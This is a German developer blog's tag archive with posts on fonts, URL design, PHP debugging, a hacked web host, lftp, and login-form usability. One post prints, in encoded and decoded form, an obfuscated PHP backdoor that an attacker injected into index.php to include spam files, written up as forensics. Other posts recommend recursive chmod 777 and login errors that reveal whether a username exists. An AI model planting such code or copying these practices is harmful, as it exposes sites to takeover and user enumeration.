Posts Tagged ‘Web-Entwicklung’

Sonntag, 18. November 2012

Adobe Source Code Pro: Quelloffene Programmierer-Schrift

Adobe überrascht für einmal und offeriert mit Source Code Pro eine quelloffene OTF-Schrift, welche speziell für Entwickler geeignet ist, welche eine leicht lesbare Monospace-Schriftart benötigen.

Wer das Ding kompilieren möchte, kann sich an Adobes Git-Repository vergnügen:

adobe / source-code-pro

Alle anderen laden sich das OTF-Binary von hier herunter:

Free Font Source Code Pro by Adobe

Nicht mit Apple Terminal

Leider unterstützt Apples Terminal.app unter Mac OS X 10.7 keine OTF-Fonts:

Terminal.app won’t display OpenType fonts (.otf)

Mist! Dann verwende ich die Schrift halt nur in TextMate … Als Ersatz kommt in Terminal.app Microsofts Consolas zum Einsatz.

Tags: , , , , , , , , , ,
Labels: IT

Keine Kommentare | neuen Kommentar verfassen

Mittwoch, 11. April 2012

XING-Bilder grösser machen

Da ich keinen Sinn darin sehe, für eine XING Premium-Mitgliedschaft Geld auszugeben, habe ich ab und zu das Problem, dass ich erraten muss, wer mein Profil so alles besucht hat.

XING zeigt mir dabei die Besucher mit einem klitzekleinen Bildchen an, worauf ich die Person partout nicht erkennen kann. Wenn ich meine Neugier befriedigen möchte, muss ich eine XING-Mitgliedschaft kaufen.

Doch zumindest etwas Licht ins Dunkel lässt sich bringen, indem man etwas mit der Bild-URL spielt. Hier ein Beispiel:

image-5069

https://www.xing.com/pubimg/users/1/6/c/2450328df.16473797,2.30x40.jpg

Hmmm! Löschen wir doch mal die Pixeldimensionen nach dem Komma. Oh:

image-5070

https://www.xing.com/pubimg/users/1/6/c/2450328df.16473797,2.jpg

So sieht der Mitmensch also aus, der mein Profil besucht hat …

Mein Tipp an XING: Die verschiedenen Grössen der Bilder sollten einen variablen Bestandteil haben, der von aussenstehenden weder erraten noch hergeleitet werden kann. Beispielsweise mittels md5($imageSize . $internalUserId).

Tags: , , , , , ,
Labels: Web

Keine Kommentare | neuen Kommentar verfassen

Montag, 12. März 2012

Coop und MIGROS sind noch nicht bei Web 2.0 angekommen

Was fällt dem geneigten Web-Entwickler an nachfolgenden URLs auf, die auf Produkte in Web-Shops von Coop (Coop@home) respektive MIGROS (LeShop) verweisen?

Mein Deutschlehrer aus dem Gymnasium würde sowohl die Detailhändler als auch die Entwickler deren Web-Shops fragen: „Sind Sie eigentlich bescheuert?!“ Es scheint, als wären die technische Entwicklung der letzten 10 Jahre spurlos an diesen beiden Buden vorbeigegangen.

Zum einen wäre der Nutzen kurzer, einfacher deklarativer URLs für die Endkunden deutlich komfortabler – und würde wohl auch sozusagen kostenlos SEO mit sich bringen. Wie wäre es bspw. mit:

  • http://www.coopathome.ch/product/coop-mango-lassi-2.5dl/1234567890
  • http://www.leshop.ch/product/selection-lassi-mango/1234567890

Zum andere Frage ich mich über die Überlegungen der Web-Entwickler hinter den beiden Web-Shops, insbesondere desjenigen von coop@home: Was zum Teufel sollen all diese Variablen, die per GET übergeben werden?

  • xcm=coop_dev
  • cpgsize=24
  • layout=7.0-1_0_3_7_8_9_10_11_14_13_51_18_15_21_46_47_52_6_26
  • uiarea=16
  • cpgnum=1

Und was sagt mir diese ellenlange URL b2c_coop/catalog/updateItems/ eigentlich aus?

Wir sehen, es bleibt bei Coop & Co. noch viel zu tun.

Tags: , , , , ,
Labels: Web

1 Kommentar | neuen Kommentar verfassen

Samstag, 11. Februar 2012

Vom Nutzen einer PHP Debug-Klasse

Seit mehreren Jahren verwende ich eine Sammlung von selber entwickelten emeidi*-PHP-Klassen, um Web-Sites und -Applikationen zu entwickeln. Leider hege ich immer noch grosse Skrupel, diese Klassen via Github als Open Source Software freizugeben — einerseits weil sich im Quellcode doch der eine oder andere unschöne Bock findet, andererseits, weil die Klassen Sicherheitslücken enthalten könnten, die bei produktiven Web-Sites ausgenützt werden könnten. Hinzu kommt mein Amazon-API-Key, den ich kurzerhand in die emeidiAmazon-Klasse festkodiert habe …

Unverzichtbares Kernstück ist dabei meine emeidiDebug-Klasse, welche für die professionelle, effiziente Web-Entwicklung unabdingbar ist. Jede andere meiner Klasse instanziert beim Laden die emeidiDebug-Klasse, mit welcher ich im ganzen Programmcode nützliche Fehlermeldungen und/oder Informationen zum Programmablauf festhalte.

Auf produktiven Web-Sites gebe ich den Inhalt des Debug-Objektes natürlich nicht aus, aber auf dem Entwicklungsserver ist es eine grosse Unterstützung, wenn ich am Ende der ausgegebenen Web-Seite noch folgenden Code hinpflanze:

...
<?php print $klasse->debug->getHtml(); ?>
</body>
</html>

Im ganzen PHP-Code finden sich zur Befüllung dieses Objekts Konstrukte wie

$this->debug->add('Not dumping descriptions because length new ' . $lenNew . ' is smaller than lenght old ' . $lenOld,'error');

Teilweise gebe ich auf produktiven Web-Sites wichtige Warnmeldungen auch in das PHP Error-Log aus. Während ich das früher direkt mit error_log(); gemacht habe, benutze ich heute ebenfalls meine Debug-Klasse dafür.

Der Grund dafür ist simpel: Nicht nur möchte ich das gesamte Debugging über meine Debug-Klasse laufen lassen, nein, meine Debug-Klasse ist auch geschwätziger und hilft mir im Falle meines Testservers, das fehlerhafte Script zu lokalisieren.

Vor einigen Tagen fand ich auf meinem Testserver folgende Einträge in der php.err-Datei:

[06-Feb-2012 00:07:43 UTC] Not dumping descriptions because length new 1778 is smaller than lenght old 1780

Mittlerweile habe ich das ausgebende Script (es wird täglich per Cron-Job aufgerufen) lokalisiert und die Programmierung angepasst. Alt hiess es:

error_log('Not dumping descriptions because length new ' . $lenNew . ' is smaller than lenght old ' . $lenOld);

Neu heisst es:

$this->debug->add('Not dumping descriptions because length new ' . $lenNew . ' is smaller than lenght old ' . $lenOld,'error',true);

Der letzte der Funktion übergebene Parameter true weist meine Debug-Klasse an, einen Eintrag in die php.err-Datei zu machen. Dieser schaut folgendermassen aus:

[11-Feb-2012 16:57:16 UTC] Not dumping descriptions because length new 1778 is smaller than lenght old 1780 in /var/www/apps/weather2ics/weather2ics.class.php on line 95 for URI </bern>

Anhand dieser Informationen kann ich nicht nur die Datei und die verantwortliche Zeile auf einen Blick lokalisieren, welche den Fehler ausgibt, sondern sehe auch noch gerade die URI, mit welcher die Web-App aufgerufen wurde.

Tags: , ,
Labels: Web

1 Kommentar | neuen Kommentar verfassen

Sonntag, 13. November 2011

Der Associate Tag ist für die Amazon Product Advertisting-API nun zwingend

Seit einigen Jahren verwende ich eine selber geschriebene schicke kleine PHP-Klasse, um Produkte mit ihrer ISBN oder EAN aus dem Amazon-Katalog abzufragen. Seit einigen Wochen (oder sind es gar Monaten?) scheint der Zugriff nicht mehr zu funktionieren.

Ursache ist eine neue Bedingung von Seiten Amazons, die für jeden Request neu nicht nur den AWSAccessKeyId verlangt, sondern auch den AssociateTag.

Diesen erstellt man, in dem man sich einen Account unter affiliate-program.amazon.com einrichtet — wer Wert auf einen schönen und einfachen Tag legt, sollte sich beim Formularfeld für den Titel der Web-Site einen einprägsamen Namen einfallen lassen. Bei mir lautet der AssociateTag dementsprechend emeidicom-20.

Wird dieser zusätzliche Parameter mit Requests mitgeschickt, kriegt man keine Fehlermeldung mehr zu Gesicht, sondern die tatsächlich erwarteten Daten zu Büchern, Audio-CDs und DVDs.

Tags: , ,
Labels: Allgemein

1 Kommentar | neuen Kommentar verfassen

Sonntag, 13. November 2011

Genotec-Web-Server gehackt

Bei einer Routineüberprüfung meiner bei der Genotec AG gehosteten Web-Site eMeidi.com entdeckte ich soeben in der index.php in meinem Web-Root zuoberst folgenden kryptischen Eintrag:

<?php
error_reporting(0);
$gc0=base64_decode('ZG93bmxvYWRzL3dpbmRvd3MtcHJpY2VzLw==');
$fq1=$_SERVER[base64_decode('UVVFUllfU1RSSU5H')];
$ti2=strpos($fq1,base64_decode('cD0='));

if($ti2===0){include($gc0.base64_decode('Pw==').$fq1);
exit;
}?>
<?php include(base64_decode('c2l0ZWluZGV4LnBocA=='));?>
...

Nach einer kurzen Analse der Base64-enkodierten Strings ging mir ein Lichtlein auf:

<?php
error_reporting(0);
$gc0='downloads/windows-prices/';
$fq1=$_SERVER['QUERY_STRING'];
$ti2=strpos($fq1,'p=');

if($ti2===0){include($gc0.'?'.$fq1);
exit;
}?>
<?php include('siteindex.php');?>
...

Dies erklärt mir endlich, wieso bei der Google-Suche nach eMeidi seit Monaten folgende komische Beschreibung zu meiner Web-Site angezeigt wird:

image-4825

Im Web-Root fanden sich folgende drei vom Hacker hinterlegte Dateien (ls -l unter Mac OS X, das Datum und die Dateigrössen stimmen mit dem Web-Server überein):

-rw-r--r--@ 1 mario  staff  23233  5 Jul  2010 login.php
-rw-r--r--@ 1 mario  staff  14028  5 Jul  2010 siteindex.php
-rw-r--r--@ 1 mario  staff  17986  5 Jul  2010 sitestatus.php

Zweck

(Vermutung) Das einschleusen von Seiteninhalten, um das Google-Ranking meiner Web-Site auszunutzen und unbedarfte Anwender auf Web-Sites zu locken, auf welchen Waren (wohl vornehmlich Raubkopien) angeboten werden — oder Kreditkartendaten abgegriffen werden.

/downloads/windows-prices/

Im besagten Verzeichnis /downloads/windows-prices/finden sich in ca. 10’000 Dateien über 190MB an Daten. Leider kann ich diese nicht löschen, weil sie dem www-Benutzer und nicht dem www4607 gehören. Ich gehe deshalb davon aus, dass nicht ein fehlerhaftes Script von mir für die Sicherheitslücke verantwortlich ist, sondern eine Sicherheitslücke in Apache:

Verzeichnis-Listing

Forensik

Wer mehr über die Technik hinter dem Hack erfahren will, lädt sich das mehr als 70MB umfassende Archiv aller suspekten Dateien herunter, welche ich vor der definitiven Löschung von meinem Server gesichert habe:

Archiv aller vom Hacker auf meinem Server abgelegten Dateien

Tags: , ,
Labels: Allgemein

5 Kommentare | neuen Kommentar verfassen

Sonntag, 13. November 2011

Rekursives chmod von Dateien in einem Web-Verzeichnis mittels FTP-Kommandozeile

Weil der mit Mac OS X mitgelieferte Kommandozeilenclient ftp Dateiberechtigungen nicht rekursiv anpassen kann, wird lftp benötigt:

$ sudo port install lftp

Nach der Installation öffnet man folgendermassen die FTP-Verbindung zum betreffenden Server:

$ lftp
lftp :~> open emeidi.com
lftp emeidi.com:~> user benutzer passwort
lftp benutzer@emeidi.com:~> ls
...

Nachdem man sich in das entsprechende Verzeichnis durchgehangelt hat, reich ein

lftp benutzer@emeidi.com:~> chmod -R 777 .

aus, um die Anpassungen vorzunehmen. Da der entsprechende Ordner fast 10’000 Dateien enthielt, kam jedes GUI ins stottern — der Kommandozeilenclient verrichtete seine Arbeit wie erwartet rasch und ohne Komplikationen.

Tags: , ,
Labels: Linux

Keine Kommentare | neuen Kommentar verfassen

Mittwoch, 31. August 2011

Word HTML-Säuberer wordoff.py lokal ausführbar machen

Kürzlich stand ich auf der Arbeit vor der schmerzlichen Vorgabe, ein dutzendes Seiten umfassendes Word-Dokumenten nach Excel zu kopieren (das Dokument enthielt unzählige Tabellen im immer gleichen Aufbau). Anstelle jede Zelle mühsam einzeln nach Excel zu kopieren – was meine gesamte bisherige Ausbildung in Frage gestellt hätte – entschied ich mich dafür, das Word-Dokument als HTML abzuspeichern, den HTML-Code anzupassen und danach in Word zu importieren.

Bekanntermassen ist der von Word produzierte HTML-Code ungefähr so das schrecklichste, was ein Web-Entwickler jemals zu Gesicht bekommen wird. Zum Glück gibt es Web-Dienste wie WordOff, welche über ein Web-Form Word-HTML entgegennehmen, säubern und zum Download anbieten.

Da das Word-Dokument in meinem Falle aber die Bemerkung „Strictly Confidential“ enthielt, empfand ich dies dann doch eher als gewagter Stunt, der mir im schlimmsten Falle den Job hätte kosten können.

Ich entschied mich deshalb, den Python-Code für das Projekt von git herunterzuladen, anzupassen und danach lokal über das HTML-File laufen zu lassen.

Folgende Anpassung war in wordoff.py nötig:

...
def superClean(str):
    clean = stripAttributes(str)
    cleaner = stripSpans(clean)
    cleaner = stripDivs(cleaner)
    #cleaner = xenophobia(cleaner)
    cleaner = stripEmptyElements(cleaner)
    cleaner = stripEmptyElements(cleaner)
    cleaner = stripEmptyElements(cleaner)
    cleaner = reduceLineBreaks(cleaner)
    return cleaner

# Changes added by Mario Aeby, eMeidi.com
# Allows to execute the script locally on a command line
def main():
	file = open("word-to-excel.htm");
	str = file.read()
	
	print superClean(str)
	
if __name__ == "__main__":
    main()

Dies erlaubt, das Script folgendermassen auf der Kommandozeile aufzurufen (die Quelldatei muss derzeit leider in den Sourceode hardkodiert werden):

$ ./wordoff.py > word-to-excel-clean.html

Nicht schlecht. Wer weiss, vielleicht lässt der Entwickler diese Anpassung ja auch ins Projekt einfliessen, damit man es künftig sowohl unter dem Django-Framework als auch lokal in einer Shell ausführen kann.

Tags: , , , ,
Labels: IT, Web

1 Kommentar | neuen Kommentar verfassen

Samstag, 21. Mai 2011

Die Banker wirtschaften sich auch 2011 weiterhin selber in die Tasche

The fact that the stock more than doubled on its first day of trading — something the investment bankers, with their fingers on the pulse of the market, absolutely must have known would happen — means that hundreds of millions of additional dollars that should have gone to LinkedIn wound up in the hands of investors that Morgan Stanley and Merrill Lynch wanted to do favors for. Most of those investors, I guarantee, sold the stock during the morning run-up. It’s the easiest money you can make on Wall Street.

Quelle: Was LinkedIn Scammed? – NYTimes.com

Tags: , , , , ,
Labels: USA, Web

Keine Kommentare | neuen Kommentar verfassen

Dienstag, 8. März 2011

Wie man Login-Formulare lieber nicht gestaltet

Heute begegnete ich auf der Arbeit einem Support-Fall, dessen Erkenntnisse sich alle Web-Entwickler da draussen zu Herzen nehmen sollten: Eine Mitarbeiter konnte sich nicht mehr in eine intern programmierte Web-Applikation einloggen.

Jedesmal, wenn sie ihre Zugangsdaten in das Login-Formular eingegeben hatte und den „Login“-Knopf drückte, kehrte sie umgehend auf dieselbe Seite zurück, das Formular war aber wieder leer.

Als ich beigezogen wurde, entdeckte ich zwei vom Entwickler verschuldete Probleme:

  • Benutzernamen mit Gross-/Kleinschreibung. Offenbar ist die Authentifizierungsroutine der Applikation so programmiert, dass nicht nur das Passwort case-sensitive geprüft wird (sehr gut, macht Brute-Force-Attacken komplizierter), sondern auch der Benutzername (schlecht). Somit war „benutzer“ nicht identisch mit „Benutzer“ oder „BeNuTzEr“. Dabei sollte man den Endbenutzern erlauben, irgendwelche Schreibweisen des Benutzernamens zu verwenden.
  • Keine Fehlermeldung. Dem Benutzer wurde nach der Rückkehr zum Login-Formular nicht mitgeteilt, weshalb der Zugang zum geschützten Bereich verweigert wurde. Es ist für den Benutzer (wie auch für den IT-Supporter) sehr hilfreich, wenn die Web-Applikation möglichst genau sagt, wo das Problem liegt — und am besten die Fehlermeldung klar vom restlichen Seiteninhalt abhebt (bspw. mit einem roten Rahmen und einem hellroten Hintergrund). So könnte man ausgeben „Benutzer nicht gefunden“ oder „Passwort falsch“, was helfen würde, die Fehlerursache rasch und effizient einzuschränken. Selbstverständlich kann man argumentieren, dass die Applikation nur auf ein nicht näher spezifiziertes Login-Problem hinweisen sollte, um potentiellen Hackern nicht zu viele Informationen preiszugeben. Ich bin aber der Meinung, dass die Benutzbarkeit der Applikation höher gewichtet werden sollte als potentielle Angriffsvektoren. Gowalla ist ein gutes Beispiel dafür: Bei Login-Problemen erfährt der Anwender, ob der Benutzername überhaupt existiert oder ob das Passwort falsch angegeben wurde.

Wer diese zwei Ratschläge befolgt, wird seinen Kunden eine Menge schlaflose Nächte ersparen.

Tags: ,
Labels: Web

Keine Kommentare | neuen Kommentar verfassen